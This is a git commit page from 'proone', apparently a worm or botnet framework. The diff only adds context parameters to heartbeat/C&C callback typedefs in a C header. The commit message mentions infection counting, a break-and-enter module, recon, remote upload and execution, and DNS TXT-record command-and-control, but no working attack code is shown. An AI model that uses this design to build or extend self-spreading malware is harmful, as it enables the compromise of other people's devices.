aboutsummaryrefslogtreecommitdiff
path: root/src/htbt.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-27 22:51:11 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-27 22:51:11 +0930
commit86038b950f0aaddca7108e903568159414a8d64a (patch)
tree122ff054b79ac91dc615f2248674fa4944ccdb17 /src/htbt.h
parent9f948554902e67cd796dd0635a3c632ccd40c206 (diff)
* Disable armv7, aarch64, x86_64 target
* Apply recon and bne to proone * Add callback contexts on htbt and bne * Fix mem leak in bne_sh_cleanup_upload() * Use prne_static_assert() instead of _Static_assert() * Use prne_free_worker() rather than calling free_ctx() * Add prne_eq_ipaddr() * bne * Add prne_bne_result::ny_instance to impl infect_cnt * Don't delete tmp upload dir after successful bne_sh_run_exec() so that proone can make tmp files * Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set * Add prne_bne_get_subject() * htbt * Fix crash bug when running without resolv * proone: set pth priority
Diffstat (limited to 'src/htbt.h')
-rw-r--r--src/htbt.h15
1 files changed, 11 insertions, 4 deletions
diff --git a/src/htbt.h b/src/htbt.h
index becb62b..152825c 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -10,10 +10,16 @@ struct prne_htbt;
typedef struct prne_htbt prne_htbt_t;
typedef struct prne_htbt_param prne_htbt_param_t;
typedef struct prne_htbt_cbset prne_htbt_cbset_t;
-typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
-typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
-typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode);
-typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);
+typedef bool(*prne_htbt_cnc_txtrec_ft)(void *ctx, char *out);
+typedef bool(*prne_htbt_hostinfo_ft)(void *ctx, prne_htbt_host_info_t *out);
+typedef char*(*prne_htbt_tmpfile_ft)(
+ void *ctx,
+ size_t req_size,
+ const mode_t mode);
+typedef bool(*prne_htbt_bin_ft)(
+ void *ctx,
+ const char *path,
+ const prne_htbt_cmd_t *cmd);
struct prne_htbt_cbset {
prne_htbt_cnc_txtrec_ft cnc_txtrec;
@@ -28,6 +34,7 @@ struct prne_htbt_param {
mbedtls_ctr_drbg_context *ctr_drbg;
prne_resolv_t *resolv;
prne_htbt_cbset_t cb_f;
+ void *cb_ctx;
int blackhole;
};